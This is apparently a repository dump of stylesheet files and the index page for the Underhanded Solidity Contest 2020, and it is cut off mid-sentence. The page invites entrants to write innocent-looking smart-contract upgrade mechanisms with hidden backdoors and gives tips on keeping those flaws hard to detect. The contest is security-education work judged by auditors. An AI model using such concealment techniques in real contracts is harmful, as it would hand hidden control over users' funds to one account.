Gutters.\r\n\t\t\t\t\t\t\t\t$class: null;\r\n\r\n\t\t\t\t\t\t\t\t@if ($multiplier != 1) {\r\n\t\t\t\t\t\t\t\t\t$class: '.gtr-' + ($multiplier * 100);\r\n\t\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\t\t&#{$class} {\r\n\t\t\t\t\t\t\t\t\tmargin-top: ($guttersRows * $multiplier * -1);\r\n\t\t\t\t\t\t\t\t\tmargin-left: ($guttersCols * $multiplier * -1);\r\n\r\n\t\t\t\t\t\t\t\t\t> * {\r\n\t\t\t\t\t\t\t\t\t\tpadding: ($guttersRows * $multiplier) 0 0 ($guttersCols * $multiplier);\r\n\t\t\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\t\t\t// Uniform.\r\n\t\t\t\t\t\t\t\t\t\t&.gtr-uniform {\r\n\t\t\t\t\t\t\t\t\t\t\tmargin-top: $guttersCols * $multiplier * -1;\r\n\r\n\t\t\t\t\t\t\t\t\t\t\t> * {\r\n\t\t\t\t\t\t\t\t\t\t\t\tpadding-top: $guttersCols * $multiplier;\r\n\t\t\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t}\r\n\r\n\t}"
  },
  {
    "path": "2020/assets/sass/libs/_mixins.scss",
    "content": "/// Makes an element's :before pseudoelement a FontAwesome icon.\r\n/// @param {string} $content Optional content value to use.\r\n/// @param {string} $category Optional category to use.\r\n/// @param {string} $where Optional pseudoelement to target (before or after).\r\n@mixin icon($content: false, $category: regular, $where: before) {\r\n\r\n\ttext-decoration: none;\r\n\r\n\t&:#{$where} {\r\n\r\n\t\t@if $content {\r\n\t\t\tcontent: $content;\r\n\t\t}\r\n\r\n\t\t-moz-osx-font-smoothing: grayscale;\r\n\t\t-webkit-font-smoothing: antialiased;\r\n\t\tdisplay: inline-block;\r\n\t\tfont-style: normal;\r\n\t\tfont-variant: normal;\r\n\t\ttext-rendering: auto;\r\n\t\tline-height: 1;\r\n\t\ttext-transform: none !important;\r\n\r\n\t\t@if ($category == brands) {\r\n\t\t\tfont-family: 'Font Awesome 5 Brands';\r\n\t\t}\r\n\t\t@elseif ($category == solid) {\r\n\t\t\tfont-family: 'Font Awesome 5 Free';\r\n\t\t\tfont-weight: 900;\r\n\t\t}\r\n\t\t@else {\r\n\t\t\tfont-family: 'Font Awesome 5 Free';\r\n\t\t\tfont-weight: 400;\r\n\t\t}\r\n\r\n\t}\r\n\r\n}\r\n\r\n/// Applies padding to an element, taking the current element-margin value into account.\r\n/// @param {mixed} $tb Top/bottom padding.\r\n/// @param {mixed} $lr Left/right padding.\r\n/// @param {list} $pad Optional extra padding (in the following order top, right, bottom, left)\r\n/// @param {bool} $important If true, adds !important.\r\n@mixin padding($tb, $lr, $pad: (0,0,0,0), $important: null) {\r\n\r\n\t@if $important {\r\n\t\t$important: '!important';\r\n\t}\r\n\r\n\t$x: 0.1em;\r\n\r\n\t@if unit(_size(element-margin)) == 'rem' {\r\n\t\t$x: 0.1rem;\r\n\t}\r\n\r\n\tpadding: ($tb + nth($pad,1)) ($lr + nth($pad,2)) max($x, $tb - _size(element-margin) + nth($pad,3)) ($lr + nth($pad,4)) #{$important};\r\n\r\n}\r\n\r\n/// Encodes a SVG data URL so IE doesn't choke (via codepen.io/jakob-e/pen/YXXBrp).\r\n/// @param {string} $svg SVG data URL.\r\n/// @return {string} Encoded SVG data URL.\r\n@function svg-url($svg) {\r\n\r\n\t$svg: str-replace($svg, '\"', '\\'');\r\n\t$svg: str-replace($svg, '%', '%25');\r\n\t$svg: str-replace($svg, '<', '%3C');\r\n\t$svg: str-replace($svg, '>', '%3E');\r\n\t$svg: str-replace($svg, '&', '%26');\r\n\t$svg: str-replace($svg, '#', '%23');\r\n\t$svg: str-replace($svg, '{', '%7B');\r\n\t$svg: str-replace($svg, '}', '%7D');\r\n\t$svg: str-replace($svg, ';', '%3B');\r\n\r\n\t@return url(\"data:image/svg+xml;charset=utf8,#{$svg}\");\r\n\r\n}"
  },
  {
    "path": "2020/assets/sass/libs/_vars.scss",
    "content": "// Misc.\r\n\t$misc: (\r\n\t\tz-index-base:\t\t10000,\r\n\t\tmax-features:\t\t20,\r\n\t\tmax-sidebar-links:\t20\r\n\t);\r\n\r\n// Duration.\r\n\t$duration: (\r\n\t\ttransition:\t\t\t0.2s,\r\n\t\tactivation:\t\t\t1s\r\n\t);\r\n\r\n// Size.\r\n\t$size: (\r\n\t\tborder-radius:\t\t0.25em,\r\n\t\tborder-width:\t\t1px,\r\n\t\telement-height:\t\t2.75em,\r\n\t\telement-margin:\t\t2em,\r\n\t\tsidebar-width:\t\t18em,\r\n\t\tsidebar-height:\t\t3.5em,\t// when <=large is active\r\n\t\tinner-width:\t\t75em\r\n\t);\r\n\r\n// Font.\r\n\t$font: (\r\n\t\tfamily:\t\t\t\t(Arial, Helvetica, sans-serif),\r\n\t\tfamily-fixed:\t\t('Courier New', monospace),\r\n\t\tweight:\t\t\t\tnormal,\r\n\t\tweight-bold:\t\tbold,\r\n\t\tkerning-alt:\t\t0.25em\r\n\t);\r\n\r\n// Palette.\r\n\t$palette: (\r\n\t\tbg:\t\t\t\t\t#312450,\r\n\t\tbg-alt:\t\t\t\tdarken(#312450, 5),\r\n\t\tfg:\t\t\t\t\trgba(255,255,255,0.55),\r\n\t\tfg-bold:\t\t\t#ffffff,\r\n\t\tfg-light:\t\t\trgba(255,255,255,0.35),\r\n\t\tborder:\t\t\t\trgba(255,255,255,0.15),\r\n\t\tborder-bg:\t\t\trgba(255,255,255,0.05),\r\n\t\taccent1:\t\t\t#5e42a6,\r\n\t\taccent1-alt:\t\tdarken(#5e42a6, 10),\r\n\t\taccent2:\t\t\t#5052b5,\r\n\t\taccent2-alt:\t\tdarken(#5052b5, 10),\r\n\t\taccent3:\t\t\t#b74e91,\r\n\t\taccent3-alt:\t\tdarken(#b74e91, 10)\r\n\t);"
  },
  {
    "path": "2020/assets/sass/libs/_vendor.scss",
    "content": "// vendor.scss v1.0 | @ajlkn | MIT licensed */\n\n// Vars.\n\n\t/// Vendor prefixes.\n\t/// @var {list}\n\t$vendor-prefixes: (\n\t\t'-moz-',\n\t\t'-webkit-',\n\t\t'-ms-',\n\t\t''\n\t);\n\n\t/// Properties that should be vendorized.\n\t/// Data via caniuse.com, github.com/postcss/autoprefixer, and developer.mozilla.org\n\t/// @var {list}\n\t$vendor-properties: (\n\n\t\t// Animation.\n\t\t\t'animation',\n\t\t\t'animation-delay',\n\t\t\t'animation-direction',\n\t\t\t'animation-duration',\n\t\t\t'animation-fill-mode',\n\t\t\t'animation-iteration-count',\n\t\t\t'animation-name',\n\t\t\t'animation-play-state',\n\t\t\t'animation-timing-function',\n\n\t\t// Appearance.\n\t\t\t'appearance',\n\n\t\t// Backdrop filter.\n\t\t\t'backdrop-filter',\n\n\t\t// Background image options.\n\t\t\t'background-clip',\n\t\t\t'background-origin',\n\t\t\t'background-size',\n\n\t\t// Box sizing.\n\t\t\t'box-sizing',\n\n\t\t// Clip path.\n\t\t\t'clip-path',\n\n\t\t// Filter effects.\n\t\t\t'filter',\n\n\t\t// Flexbox.\n\t\t\t'align-content',\n\t\t\t'align-items',\n\t\t\t'align-self',\n\t\t\t'flex',\n\t\t\t'flex-basis',\n\t\t\t'flex-direction',\n\t\t\t'flex-flow',\n\t\t\t'flex-grow',\n\t\t\t'flex-shrink',\n\t\t\t'flex-wrap',\n\t\t\t'justify-content',\n\t\t\t'order',\n\n\t\t// Font feature.\n\t\t\t'font-feature-settings',\n\t\t\t'font-language-override',\n\t\t\t'font-variant-ligatures',\n\n\t\t// Font kerning.\n\t\t\t'font-kerning',\n\n\t\t// Fragmented borders and backgrounds.\n\t\t\t'box-decoration-break',\n\n\t\t// Grid layout.\n\t\t\t'grid-column',\n\t\t\t'grid-column-align',\n\t\t\t'grid-column-end',\n\t\t\t'grid-column-start',\n\t\t\t'grid-row',\n\t\t\t'grid-row-align',\n\t\t\t'grid-row-end',\n\t\t\t'grid-row-start',\n\t\t\t'grid-template-columns',\n\t\t\t'grid-template-rows',\n\n\t\t// Hyphens.\n\t\t\t'hyphens',\n\t\t\t'word-break',\n\n\t\t// Masks.\n\t\t\t'mask',\n\t\t\t'mask-border',\n\t\t\t'mask-border-outset',\n\t\t\t'mask-border-repeat',\n\t\t\t'mask-border-slice',\n\t\t\t'mask-border-source',\n\t\t\t'mask-border-width',\n\t\t\t'mask-clip',\n\t\t\t'mask-composite',\n\t\t\t'mask-image',\n\t\t\t'mask-origin',\n\t\t\t'mask-position',\n\t\t\t'mask-repeat',\n\t\t\t'mask-size',\n\n\t\t// Multicolumn.\n\t\t\t'break-after',\n\t\t\t'break-before',\n\t\t\t'break-inside',\n\t\t\t'column-count',\n\t\t\t'column-fill',\n\t\t\t'column-gap',\n\t\t\t'column-rule',\n\t\t\t'column-rule-color',\n\t\t\t'column-rule-style',\n\t\t\t'column-rule-width',\n\t\t\t'column-span',\n\t\t\t'column-width',\n\t\t\t'columns',\n\n\t\t// Object fit.\n\t\t\t'object-fit',\n\t\t\t'object-position',\n\n\t\t// Regions.\n\t\t\t'flow-from',\n\t\t\t'flow-into',\n\t\t\t'region-fragment',\n\n\t\t// Scroll snap points.\n\t\t\t'scroll-snap-coordinate',\n\t\t\t'scroll-snap-destination',\n\t\t\t'scroll-snap-points-x',\n\t\t\t'scroll-snap-points-y',\n\t\t\t'scroll-snap-type',\n\n\t\t// Shapes.\n\t\t\t'shape-image-threshold',\n\t\t\t'shape-margin',\n\t\t\t'shape-outside',\n\n\t\t// Tab size.\n\t\t\t'tab-size',\n\n\t\t// Text align last.\n\t\t\t'text-align-last',\n\n\t\t// Text decoration.\n\t\t\t'text-decoration-color',\n\t\t\t'text-decoration-line',\n\t\t\t'text-decoration-skip',\n\t\t\t'text-decoration-style',\n\n\t\t// Text emphasis.\n\t\t\t'text-emphasis',\n\t\t\t'text-emphasis-color',\n\t\t\t'text-emphasis-position',\n\t\t\t'text-emphasis-style',\n\n\t\t// Text size adjust.\n\t\t\t'text-size-adjust',\n\n\t\t// Text spacing.\n\t\t\t'text-spacing',\n\n\t\t// Transform.\n\t\t\t'transform',\n\t\t\t'transform-origin',\n\n\t\t// Transform 3D.\n\t\t\t'backface-visibility',\n\t\t\t'perspective',\n\t\t\t'perspective-origin',\n\t\t\t'transform-style',\n\n\t\t// Transition.\n\t\t\t'transition',\n\t\t\t'transition-delay',\n\t\t\t'transition-duration',\n\t\t\t'transition-property',\n\t\t\t'transition-timing-function',\n\n\t\t// Unicode bidi.\n\t\t\t'unicode-bidi',\n\n\t\t// User select.\n\t\t\t'user-select',\n\n\t\t// Writing mode.\n\t\t\t'writing-mode',\n\n\t);\n\n\t/// Values that should be vendorized.\n\t/// Data via caniuse.com, github.com/postcss/autoprefixer, and developer.mozilla.org\n\t/// @var {list}\n\t$vendor-values: (\n\n\t\t// Cross fade.\n\t\t\t'cross-fade',\n\n\t\t// Element function.\n\t\t\t'element',\n\n\t\t// Filter function.\n\t\t\t'filter',\n\n\t\t// Flexbox.\n\t\t\t'flex',\n\t\t\t'inline-flex',\n\n\t\t// Grab cursors.\n\t\t\t'grab',\n\t\t\t'grabbing',\n\n\t\t// Gradients.\n\t\t\t'linear-gradient',\n\t\t\t'repeating-linear-gradient',\n\t\t\t'radial-gradient',\n\t\t\t'repeating-radial-gradient',\n\n\t\t// Grid layout.\n\t\t\t'grid',\n\t\t\t'inline-grid',\n\n\t\t// Image set.\n\t\t\t'image-set',\n\n\t\t// Intrinsic width.\n\t\t\t'max-content',\n\t\t\t'min-content',\n\t\t\t'fit-content',\n\t\t\t'fill',\n\t\t\t'fill-available',\n\t\t\t'stretch',\n\n\t\t// Sticky position.\n\t\t\t'sticky',\n\n\t\t// Transform.\n\t\t\t'transform',\n\n\t\t// Zoom cursors.\n\t\t\t'zoom-in',\n\t\t\t'zoom-out',\n\n\t);\n\n// Functions.\n\n\t/// Removes a specific item from a list.\n\t/// @author Hugo Giraudel\n\t/// @param {list} $list List.\n\t/// @param {integer} $index Index.\n\t/// @return {list} Updated list.\n\t@function remove-nth($list, $index) {\n\n\t\t$result: null;\n\n\t\t@if type-of($index) != number {\n\t\t\t@warn \"$index: #{quote($index)} is not a number for `remove-nth`.\";\n\t\t}\n\t\t@else if $index == 0 {\n\t\t\t@warn \"List index 0 must be a non-zero integer for `remove-nth`.\";\n\t\t}\n\t\t@else if abs($index) > length($list) {\n\t\t\t@warn \"List index is #{$index} but list is only #{length($list)} item long for `remove-nth`.\";\n\t\t}\n\t\t@else {\n\n\t\t\t$result: ();\n\t\t\t$index: if($index < 0, length($list) + $index + 1, $index);\n\n\t\t\t@for $i from 1 through length($list) {\n\n\t\t\t\t@if $i != $index {\n\t\t\t\t\t$result: append($result, nth($list, $i));\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t}\n\n\t\t@return $result;\n\n\t}\n\n\t/// Replaces a substring within another string.\n\t/// @author Hugo Giraudel\n\t/// @param {string} $string String.\n\t/// @param {string} $search Substring.\n\t/// @param {string} $replace Replacement.\n\t/// @return {string} Updated string.\n\t@function str-replace($string, $search, $replace: '') {\n\n\t\t$index: str-index($string, $search);\n\n\t\t@if $index {\n\t\t\t@return str-slice($string, 1, $index - 1) + $replace + str-replace(str-slice($string, $index + str-length($search)), $search, $replace);\n\t\t}\n\n\t\t@return $string;\n\n\t}\n\n\t/// Replaces a substring within each string in a list.\n\t/// @param {list} $strings List of strings.\n\t/// @param {string} $search Substring.\n\t/// @param {string} $replace Replacement.\n\t/// @return {list} Updated list of strings.\n\t@function str-replace-all($strings, $search, $replace: '') {\n\n\t\t@each $string in $strings {\n\t\t\t$strings: set-nth($strings, index($strings, $string), str-replace($string, $search, $replace));\n\t\t}\n\n\t\t@return $strings;\n\n\t}\n\n// Mixins.\n\n\t/// Wraps @content in vendorized keyframe blocks.\n\t/// @param {string} $name Name.\n\t@mixin keyframes($name) {\n\n\t\t@-moz-keyframes #{$name} { @content; }\n\t\t@-webkit-keyframes #{$name} { @content; }\n\t\t@-ms-keyframes #{$name} { @content; }\n\t\t@keyframes #{$name} { @content; }\n\n\t}\n\n\t/// Vendorizes a declaration's property and/or value(s).\n\t/// @param {string} $property Property.\n\t/// @param {mixed} $value String/list of value(s).\n\t@mixin vendor($property, $value) {\n\n\t\t// Determine if property should expand.\n\t\t\t$expandProperty: index($vendor-properties, $property);\n\n\t\t// Determine if value should expand (and if so, add '-prefix-' placeholder).\n\t\t\t$expandValue: false;\n\n\t\t\t@each $x in $value {\n\t\t\t\t@each $y in $vendor-values {\n\t\t\t\t\t@if $y == str-slice($x, 1, str-length($y)) {\n\n\t\t\t\t\t\t$value: set-nth($value, index($value, $x), '-prefix-' + $x);\n\t\t\t\t\t\t$expandValue: true;\n\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t// Expand property?\n\t\t\t@if $expandProperty {\n\t\t\t    @each $vendor in $vendor-prefixes {\n\t\t\t        #{$vendor}#{$property}: #{str-replace-all($value, '-prefix-', $vendor)};\n\t\t\t    }\n\t\t\t}\n\n\t\t// Expand just the value?\n\t\t\t@elseif $expandValue {\n\t\t\t    @each $vendor in $vendor-prefixes {\n\t\t\t        #{$property}: #{str-replace-all($value, '-prefix-', $vendor)};\n\t\t\t    }\n\t\t\t}\n\n\t\t// Neither? Treat them as a normal declaration.\n\t\t\t@else {\n\t\t        #{$property}: #{$value};\n\t\t\t}\n\n\t}"
  },
  {
    "path": "2020/assets/sass/main.scss",
    "content": "@import 'libs/vars';\r\n@import 'libs/functions';\r\n@import 'libs/mixins';\r\n@import 'libs/vendor';\r\n@import 'libs/breakpoints';\r\n@import 'libs/html-grid';\r\n@import 'fontawesome-all.min.css';\r\n\r\n/*\r\n\tHyperspace by HTML5 UP\r\n\thtml5up.net | @ajlkn\r\n\tFree for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n*/\r\n\r\n// Breakpoints.\r\n\r\n\t@include breakpoints((\r\n\t\txlarge:   ( 1281px,  1680px ),\r\n\t\tlarge:    ( 981px,   1280px ),\r\n\t\tmedium:   ( 737px,   980px  ),\r\n\t\tsmall:    ( 481px,   736px  ),\r\n\t\txsmall:   ( 361px,   480px  ),\r\n\t\txxsmall:  ( null,    360px  )\r\n\t));\r\n\r\n// Base.\r\n\r\n\t@import 'base/reset';\r\n\t@import 'base/page';\r\n\t@import 'base/typography';\r\n\r\n// Component.\r\n\r\n\t@import 'components/row';\r\n\t@import 'components/box';\r\n\t@import 'components/button';\r\n\t@import 'components/features';\r\n\t@import 'components/form';\r\n\t@import 'components/icon';\r\n\t@import 'components/image';\r\n\t@import 'components/list';\r\n\t@import 'components/actions';\r\n\t@import 'components/contact';\r\n\t@import 'components/icons';\r\n\t@import 'components/menu';\r\n\t@import 'components/section';\r\n\t@import 'components/split';\r\n\t@import 'components/spotlights';\r\n\t@import 'components/table';\r\n\t@import 'components/wrapper';\r\n\r\n// Layout.\r\n\r\n\t@import 'layout/header';\r\n\t@import 'layout/wrapper';\r\n\t@import 'layout/footer';\r\n\t@import 'layout/sidebar';\r\n\t@import 'layout/intro';"
  },
  {
    "path": "2020/assets/sass/noscript.scss",
    "content": "@import 'libs/vars';\r\n@import 'libs/functions';\r\n@import 'libs/mixins';\r\n@import 'libs/vendor';\r\n@import 'libs/breakpoints';\r\n@import 'libs/html-grid';\r\n\r\n/*\r\n\tHyperspace by HTML5 UP\r\n\thtml5up.net | @ajlkn\r\n\tFree for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n*/\r\n\r\n/* Spotlights */\r\n\r\n\t.spotlights {\r\n\t\t> section {\r\n\t\t\t> .image {\r\n\t\t\t\t&:before {\r\n\t\t\t\t\topacity: 0 !important;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t> .content {\r\n\t\t\t\t> .inner {\r\n\t\t\t\t\t@include vendor('transform', 'none !important');\r\n\t\t\t\t\topacity: 1 !important;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n/* Wrapper */\r\n\r\n\t.wrapper {\r\n\t\t> .inner {\r\n\t\t\topacity: 1 !important;\r\n\t\t\t@include vendor('transform', 'none !important');\r\n\t\t}\r\n\t}\r\n\r\n/* Sidebar */\r\n\r\n\t#sidebar {\r\n\t\t> .inner {\r\n\t\t\topacity: 1 !important;\r\n\t\t}\r\n\r\n\t\tnav {\r\n\t\t\t> ul {\r\n\t\t\t\t> li {\r\n\t\t\t\t\t@include vendor('transform', 'none !important');\r\n\t\t\t\t\topacity: 1 !important;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "2020/index.html",
    "content": "<!DOCTYPE HTML>\r\n<!--\r\n\tHyperspace by HTML5 UP\r\n\thtml5up.net | @ajlkn\r\n\tFree for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n-->\r\n<html>\r\n\t<head>\r\n\t\t<title>Underhanded Solidity Contest</title>\r\n\t\t<meta charset=\"utf-8\" />\r\n\t\t<meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\" />\r\n\t\t<link href=\"https://fonts.googleapis.com/css2?family=Share+Tech+Mono&display=swap\" rel=\"stylesheet\">\r\n\t\t<link rel=\"icon\" href=\"favicon.ico\"> \r\n\t\t<link rel=\"stylesheet\" href=\"assets/css/main.css\" />\r\n\t\t<noscript><link rel=\"stylesheet\" href=\"assets/css/noscript.css\" /></noscript>\r\n\t</head>\r\n\t<body class=\"is-preload\">\r\n\r\n\t\t<!-- Sidebar -->\r\n\t\t\t<section id=\"sidebar\">\r\n\t\t\t\t<div class=\"inner\">\r\n\t\t\t\t\t<nav>\r\n\t\t\t\t\t\t<ul>\r\n\t\t\t\t\t\t\t<li><a href=\"#intro\">Welcome</a></li>\r\n\t\t\t\t\t\t\t<li><a href=\"#one\">Contest Info</a></li>\r\n\t\t\t\t\t\t\t<li><a href=\"#two\">Coding Brief</a></li>\r\n\t\t\t\t\t\t\t<li><a href=\"#three\">Submission & Participation</a></li>\r\n\t\t\t\t\t\t\t<li><a href=\"#four\">Get in touch</a></li>\r\n\t\t\t\t\t\t</ul>\r\n\t\t\t\t\t</nav>\r\n\t\t\t\t</div>\r\n\t\t\t</section>\r\n\r\n\t\t<!-- Wrapper -->\r\n\t\t\t<div id=\"wrapper\">\r\n\r\n\t\t\t\t<!-- Intro -->\r\n\t\t\t\t\t<section id=\"intro\" class=\"wrapper style1 fullscreen fade-up\">\r\n\t\t\t\t\t\t<div class=\"inner\">\r\n\t\t\t\t\t\t\t<h1>Underhanded Underhanded Contest</h1>\r\n\t\t\t\t\t\t\t<h3>The Underhanded Solidity Contest 2020 is over! <br><br>\r\n\t\t\t\t\t\t\t Read about the winning submissions in the <a href=\"https://blog.soliditylang.org/2020/12/03/solidity-underhanded-contest-winners/\">2020 winner announcement</a> or check out all submissions in <a href=\"https://github.com/ethereum/solidity-underhanded-contest/tree/master/submissions_2020\">here</a>.<br><br>\r\n\t\t\t\t\t\t\t The goal of the Underhanded Soldity Contest is to write innocent-looking Solidity code, which pretends to be clear and straightforward, but actually contains malicious behavior or backdoors.</h3><br>\r\n\t\t\t\t\t\t\t<ul class=\"actions\">\r\n\t\t\t\t\t\t\t\t<li><a href=\"#one\" class=\"button scrolly\">Learn more</a></li>\r\n\t\t\t\t\t\t\t</ul>\r\n\t\t\t\t\t\t</div>\r\n\t\t\t\t\t</section>\r\n\r\n\t\t\t\t<!-- One -->\r\n\t\t\t\t\t<section id=\"one\" class=\"wrapper style2 spotlights\">\r\n\t\t\t\t\t\t<section>\r\n\t\t\t\t\t\t\t<a class=\"image\"><img src=\"images/cube_lines.png\" alt=\"Cubes Illusion\" data-position=\"center center\" /></a>\r\n\t\t\t\t\t\t\t<div class=\"content\">\r\n\t\t\t\t\t\t\t\t<div class=\"inner\">\r\n\t\t\t\t\t\t\t\t\t<h2>Theme</h2>\r\n\t\t\t\t\t\t\t\t\t<p>This year's theme is upgradable contracts, or, more specifically, upgrade mechanisms.<br><br>\r\n\t\t\t\t\t\t\t\t\t\tUpgrades are a frequently used practice and are often necessary, e.g. to fix bugs in smart contracts. The problem with upgrades lays in the fact that, most times, users aren’t presented with the upgrade beforehand and no consent is needed from the users to execute it.\r\n\t\t\t\t\t\t\t\t\t\tUpgrade mechanisms are often designed such that a single account has the ability to change the code arbitrarily. However, a smart contract in which a single account is authorised to arbitrarily change its implementation defeats the idea of decentralization.<br><br>\r\n\t\t\t\t\t\t\t\t\t\tCome up with an upgrade mechanism that seems fair and safe (e.g. by implementing an opt-out mechanism or a way to split the contract) but has a flaw or backdoor. The backdoor should be hard to discover and, in the best case, results in a single account having full control, even if it does not seem like it.<br><br>\r\n\t\t\t\t\t\t\t\t\t\tTo keep submissions reasonably sized, the contract that is actually to be upgraded should be very small, e.g. an ERC20 contract or a simple registry. Note that the flaw should be in the upgrade mechanism, not in the main contract - you do not have to come up with a reason to actually upgrade the contract, but a little “story” around the hack is always nice, too.\r\n\t\t\t\t\t\t\t\t\t\t</p>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t</section>\r\n\t\t\t\t\t\t<section>\r\n\t\t\t\t\t\t\t<a class=\"image\"><img src=\"images/triangle_lines.png\" alt=\"Triangle Illusion\" data-position=\"center center\" /></a>\r\n\t\t\t\t\t\t\t<div class=\"content\">\r\n\t\t\t\t\t\t\t\t<div class=\"inner\">\r\n\t\t\t\t\t\t\t\t\t<h2>Judges</h2>\r\n\t\t\t\t\t\t\t\t\t<p>Judges are presented with anonymised submissions. The submissions will be assessed by:</p>\r\n\t\t\t\t\t\t\t\t\t\t<ul>\r\n\t\t\t\t\t\t\t\t\t\t\t<li>Alex Beregszaszi, Solidity Co-Lead at Ethereum Foundation.</li>\r\n\t\t\t\t\t\t\t\t\t\t\t<li>Austin Williams, Security Researcher at OpenZeppelin.</li>\r\n\t\t\t\t\t\t\t\t\t\t\t<li>Christian Reitwiessner, Solidity Co-Lead at Ethereum Foundation.</li>\r\n\t\t\t\t\t\t\t\t\t\t\t<li>Gonçalo Sá, Security Engineer at ConsenSys Diligence.</li>\r\n\t\t\t\t\t\t\t\t\t\t\t<li>Stefan Beyer, Lead Auditor at Solidified.</li>\r\n\t\t\t\t\t\t\t\t\t\t</ul>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t</section>\r\n\t\t\t\t\t\t<section>\r\n\t\t\t\t\t\t\t<a class=\"image\"><img src=\"images/zet_lines.png\" alt=\"Zeta Illusion\" data-position=\"center center\" /></a>\r\n\t\t\t\t\t\t\t<div class=\"content\">\r\n\t\t\t\t\t\t\t\t<div class=\"inner\">\r\n\t\t\t\t\t\t\t\t\t<h2>Prizes</h2>\r\n\t\t\t\t\t\t\t\t\t<p>The prizes are sponsored by several Ethereum-related security projects as well as the Ethereum Foundation. Each winner, starting with the 1st place, can choose a prize from the pool.</p>\r\n\t\t\t\t\t\t\t\t\t<ul>\r\n\t\t\t\t\t\t\t\t\t\t<li>1x Ticket to <a href=\"https://devcon.ethereum.org\">Devcon6</a>.</li>\r\n\t\t\t\t\t\t\t\t\t\t<li>1x 1-year <a href=\"https://mythx.io/plans/\">MythX Pro Plan</a> / 1x 1-year <a href=\"https://mythx.io/plans/\">MythX Dev Plan.</a></li>\r\n\t\t\t\t\t\t\t\t\t\t<li>1x Automatic acceptance into <a href=\"https://solidified.io/\">Solidified</a> auditor pool & a paid audit with Solidified.</li>\r\n\t\t\t\t\t\t\t\t\t\t<li>1x 1-year subscription to <a href=\"https://openzeppelin.com/defender/\">OpenZeppelin Defender</a>.</li>\r\n\t\t\t\t\t\t\t\t\t</ul>\r\n\t\t\t\t\t\t\t\t\t<p>Furthermore, the winners and all qualified submissions will receive a custom NFT.</p>\r\n\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t</section>\r\n\t\t\t\t\t</section>\r\n\r\n\t\t\t\t<!-- Two -->\r\n\t\t\t\t\t<section id=\"two\" class=\"wrapper style3 fade-up\">\r\n\t\t\t\t\t\t<div class=\"inner\">\r\n\t\t\t\t\t\t\t<h2>Coding Brief & Guidelines</h2>\r\n\t\t\t\t\t\t\t<p>All you need to know about contest participation and submission!</p>\r\n\t\t\t\t\t\t\t<div class=\"features\">\r\n\t\t\t\t\t\t\t\t<section>\r\n\t\t\t\t\t\t\t\t\t<span class=\"icon solid major fa-code\"></span>\r\n\t\t\t\t\t\t\t\t\t<h4>Brief</h4>\r\n\t\t\t\t\t\t\t\t\t<p>Design an upgrade mechanism that looks “safe” (with opt-in/opt-out option) but has a backdoor. This means that users should believe that they have control over the upgrade process, either by opting out of the upgrade, splitting the contract or something similar, but in fact, the deployer still has some form of control. The main contract is not important and should be as small as possible.</p>\r\n\t\t\t\t\t\t\t\t</section>\r\n\t\t\t\t\t\t\t\t<section>\r\n\t\t\t\t\t\t\t\t\t<span class=\"icon solid major fa-gem\"></span>\r\n\t\t\t\t\t\t\t\t\t<h4>Plausibility & Originality</h4>\r\n\t\t\t\t\t\t\t\t\t<p>Remember to consider plausibility. Code that drops down to inline assembly without any clear reason why will look immediately suspicious, no matter how cleverly written the assembly-level flaw is.<br><br>In addition to that it's needless to say that truly original ideas will receive more points than making use of already well known exploit/backdoor mechanisms.</p>\r\n\t\t\t\t\t\t\t\t</section>\r\n\t\t\t\t\t\t\t\t<section>\r\n\t\t\t\t\t\t\t\t\t<span class=\"icon solid major fa-save\"></span>\r\n\t\t\t\t\t\t\t\t\t<h4>Simplicity is key!</h4>\r\n\t\t\t\t\t\t\t\t\t<p>Submissions that are short and clean will be scored higher than those that are lengthy and complicated. It’s easy to hide a vulnerability in complex and poorly written code; far harder to hide it in clean and simple code.</p>\r\n\t\t\t\t\t\t\t\t</section>\r\n\t\t\t\t\t\t\t\t<section>\r\n\t\t\t\t\t\t\t\t\t<span class=\"icon solid major fa-clock\"></span>\r\n\t\t\t\t\t\t\t\t\t<h4>Timeline</h4>\r\n\t\t\t\t\t\t\t\t\t<p>Make sure to send submissions before the end of the deadline.<br><br>\r\n\t\t\t\t\t\t\t\t\t\tSubmissions open on 2020-10-01.<br>\r\n\t\t\t\t\t\t\t\t\t\tSubmissions close on 2020-10-31.<br>\r\n\t\t\t\t\t\t\t\t\t\tWinners will be announced by the end of November.</p>\r\n\t\t\t\t\t\t\t\t</section>\r\n\t\t\t\t\t\t\t\t<section>\r\n\t\t\t\t\t\t\t\t\t<span class=\"icon solid major fa-lock-open\"></span>\r\n\t\t\t\t\t\t\t\t\t<h4>Open-Source License</h4>\r\n\t\t\t\t\t\t\t\t\t<p>The entirety of your submission must be licensed under an open-source license. You must not submit anything that cannot be published.</p>\r\n\t\t\t\t\t\t\t\t</section>\r\n\t\t\t\t\t\t\t\t<section>\r\n\t\t\t\t\t\t\t\t\t<span class=\"icon solid major fa-code-branch\"></span>\r\n\t\t\t\t\t\t\t\t\t<h4>Solidity Version</h4>\r\n\t\t\t\t\t\t\t\t\t<p>It is highly encouraged to use <a href=\"https://github.com/ethereum/solidity/releases\">Solidity</a> v0.7.0 or newer. If you want to use a version\r\n\t\t\t\t\t\t\t\t\tof the 0.6 series, please make sure to not make use of flaws that have been fixed in 0.7. Don't use versions older than 